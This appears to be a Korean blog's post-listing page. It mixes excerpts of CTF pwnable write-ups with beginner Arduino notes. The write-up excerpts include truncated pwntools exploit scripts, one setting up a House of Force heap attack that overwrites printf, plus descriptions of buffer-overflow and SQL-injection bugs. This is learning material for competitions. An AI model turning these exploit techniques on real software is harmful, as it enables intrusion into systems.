본문 바로가기

cookbook ( 100% 분석 되어져 있는 idb 파일 있습니당 )1234567891011121314151617181920212223242526272829303132333435363738394041424344#!/usr/bin/python from pwn import *from struct import * conn = remote('localhost',4000)conn.sendline("314ckC47") def HoFTrigger(EIP,topchunk): # Trigger House Of Force # Overwrite 'printf()' target = 0x0804d010 ovaddr = target - 0x8 - topchunk conn.sendline("c") conn.sendline("n") conn.se..
트렌드를 따라가보자! - qira, pwntools, socat 을 사용한 문제 분석 및 익스플로잇 《트렌드를 따라가보자!》qira, pwntools, socat 을 사용한 문제 분석 및 익스플로잇 목차1. 개요2. 문제 분석3. qira를 이용한 디버깅4. socat을 사용 해 보자!5. pwntools를 이용한 exploit 개요 사실 해킹캠프때 qira, socat, pwntools를 사용한 디버깅? 익스플로잇에 대해 들어 보긴 하였지만 쓸데 없는거라 생각해서 아직까지 시도를 해보지 않고 있던 찰나에, 최근 익스플로잇을 짜고, 문제를 분석하고 하는데에 지루함을 많이 느껴서 색다른 변화를 주고 싶어 사용법을 익히고 정리를 하게 되었습니다. 이 툴들이 보면 볼수록 물건이라 ㅡ,,ㅡ... 확실히 대회같은 때에 시간을 절약하기 쉽겠더라고요. 문제 분석 그럼 먼저 문제 소스를 보여 드리겠습니다.123456..
H3X0R - 해킹 당했다...! - Write up 다운로드 9시경 갑자기 페이지가 해킹 당했다는 소식을 듣고 급히 관리자들과 회의를 했다.하지만 페이지가 탈취 된 상태에서 비밀번호와 관리 권한이 바뀌어 져 있었다. 그래서 해당 문제를 해결 하기 위해 nc 주소로 접속 해 보았다. 다음과 같이 어떠한 DB를 조작 하는 프로그램이 보였다. 잠시 후, 바이너리가 올라 왔다. 바이너리를 분석 해 보니 간단한 BOF 취약점이 있었다. upload를 할 때에는 250바이트를 올리지만, 해당 데이터를 save 할때는 200바이트정도 밖에 저장 하지 못했다. upload() 함수 save() 함수 그리고 1번의 search문에서 간단한 sqli 취약점을 찾을 수 있었다. search() 함수 sql : select exp_data,who from exploits wh..
YISF QUAL PWNABLE WRITE UP 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798#!/usr/bin/python from socket import *from struct import *from time import sleep # Utilsp = lambda x : pack("
pinMode() digitalWrite() digitalRead() pinMode(pin_num,stream) pin_num은 아두이노의 핀 번호(어떤 핀을 컨트롤 할지) stream은 INPUT,OUTPUT INPUT과 OUTPUT중 해당 핀을 무엇으로 쓸 것인지 digitalWrite(pin_num,state) 위에서 설정 한 pin_num(아두이노 핀)으로 state를 보냄. state는 on,off의 값. on=0v 0ff=5v digitalRead(pin_num) 위에서 설정 한 pin_num(아두이노 핀)으로 state를 받음(함수의 리턴으로) state는 위와 동일
delay() 함수 - 아두이노의 sleep? delay(n)은 n 밀리 세컨(1000ms=1s)만큼 프로그램의 동작을 중단 시킨다.
C에는 Main, Arduino에는 Setup,Loop C에서는 프로그램이 로딩 될 때 (리눅스의 경우)__libc_main_start 라는 initial 함수에서 사용자의 main()함수로 인자를 구성 해 뛰게 해 준다. 아두이노에서는 (디버깅 해 보지 않았음. 곧 수정) setup()과 loop()으로 아마 init같은 형태로 뛰게 한다. 순서는 setup()->loop()인데 setup()에서는 아두이노가 시작 될 때 초기 설정 하는 역할을 한다. (초기에 1회 실행) loop()에서는 아두이노가 초기 설정을 한 후에 해당 함수를 loop()한다.
Arduino Serial + HX711 Serial { Serial.begin(num)